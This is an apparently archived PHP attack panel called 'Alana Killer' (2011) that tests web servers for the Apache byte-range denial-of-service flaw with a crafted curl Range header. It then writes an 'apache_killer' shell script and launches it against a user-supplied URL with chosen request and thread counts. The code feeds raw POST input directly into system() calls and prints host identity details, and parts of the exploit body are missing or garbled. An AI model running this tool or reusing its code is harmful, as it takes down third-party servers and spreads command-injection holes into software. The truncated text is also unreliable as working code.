1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 __ __ __ __ 1 1 /'__`\ /'__`\/\ \__ /'__`\ 0 0 _ __ /\ \/\ \/\ \/\ \ \ ,_\ __ __ __/\ \/\ \ _ __ ___ ___ 1 1 /\`'__\ \ \ \ \ \ \ \ \ \ \/ /\ \/\ \/\ \ \ \ \ \/\`'__\/' __` __`\ 0 0 \ \ \/ \ \ \_\ \ \ \_\ \ \ \_\ \ \_/ \_/ \ \ \_\ \ \ \/ /\ \/\ \/\ \ 1 1 \ \_\ \ \____/\ \____/\ \__\\ \___x___/'\ \____/\ \_\ \ \_\ \_\ \_\ 0 0 \/_/ \/___/ \/___/ \/__/ \/__//__/ \/___/ \/_/ \/_/\/_/\/_/ 1 1 0 0 1 1 >> 4L4N4 K!LL3R 0 0 >> author : S4(uR4 1 1 >> sanjar[at]xakep[dot]ru 0 0 >> Priv8 v.0.1 1 1 >> )c( 2011 0 0 1 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-0
[CHECK] (Vulned : "HTTP/1.1 206 Partial Content") ::
"; //if(!empty($_POST[0])){ echo ""."[+] Server Test Running :
";
echo "
";
system('curl -I -H "Range : bytes=0-1,0-2" -s '.$_POST["test_url"]);
echo "";
?>
[ATACK] ::
[LOG] ::
PWD :: ".`pwd`; echo "SYSTEM :: ".`uname -a`; echo "
ID :: ".`id`; echo "
DATE :: ".`date`."
"; $tmp1 = "alana_kill3r.sh"; `touch alana_kill3r.sh`; $apache_killer = <<
"."[+] ALL OK, xpl0it Writed"; fclose($handle); } else { echo "
[x] File $tmp1 has not access to write"; } ?>
";
$pwd = "-al";
system("ls ".$pwd);
echo "
";
echo ""."[+] Xploit Started with :
";
`chmod +x`.$tmp1;
echo "
root@r00tw0rm:$ ";
system("bash ./".$tmp1." ".$_POST["request"]." ".$_POST["threads"]." ".$_POST["url"]);
echo "";
?>